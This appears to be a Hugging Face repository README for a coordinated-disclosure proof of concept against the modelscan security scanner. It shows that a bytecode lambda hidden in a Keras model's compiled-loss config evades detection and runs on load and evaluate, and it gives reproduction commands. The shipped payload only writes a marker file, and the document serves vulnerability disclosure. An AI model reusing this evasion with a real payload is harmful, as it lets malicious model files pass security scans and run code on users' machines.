celvexgroup's picture
Upload 3 files
29c9690 verified
|
Raw
History Blame Contribute Delete
1.9 kB
metadata
license: apache-2.0
tags:
  - security
  - coordinated-disclosure
  - modelscan

Benign PoC — modelscan Keras positional Lambda-scan bypass (compiled loss)

Coordinated-disclosure proof-of-concept for Protect AI modelscan, submitted via huntr (Model File Vulnerability).

modelscan's Keras/H5 Lambda detection (KerasLambdaDetectScan / H5LambdaDetectScan) is positional: it flags only a top-level layer with class_name=="Lambda". A marshalled-bytecode lambda serialized as the model's compiled loss (in compile_config, which the DEFAULT load_model(compile=True) deserializes) is never inspected — so a model that executes attacker bytecode on load+evaluate scans clean.

  • evil_loss.keras — lambda in compile_config.loss → modelscan: No issues found (the bypass)
  • control_lambda.keras — the identical benign function as a Lambda layer → modelscan: MEDIUM Lambda (control)

Reproduce

pip install tensorflow modelscan
modelscan -p evil_loss.keras        # -> No issues found            (bypass)
modelscan -p control_lambda.keras   # -> MEDIUM 'Lambda' from Keras  (same function, caught as a layer)

python - <<'PY'
import keras, numpy as np
keras.config.enable_unsafe_deserialization()
m = keras.models.load_model("evil_loss.keras", safe_mode=False, compile=True)
m.evaluate(np.zeros((2,4)), np.zeros((2,1)))     # -> writes /tmp/celvex_mfv_keras_marker.txt
PY

The lambda reconstructs from marshalled bytecode and runs when the loss is invoked (evaluate/fit) after a default load_model(compile=True, safe_mode=False) — the same safe-mode premise as the accepted Lambda-layer class, but from a config position modelscan does not scan.

Strictly benign: the lambda only writes a marker string (CELVEX-MFV-KERAS-LOSS-MARKER). No weaponization. Validated against modelscan 0.8.8 + tensorflow/keras 3.15.0.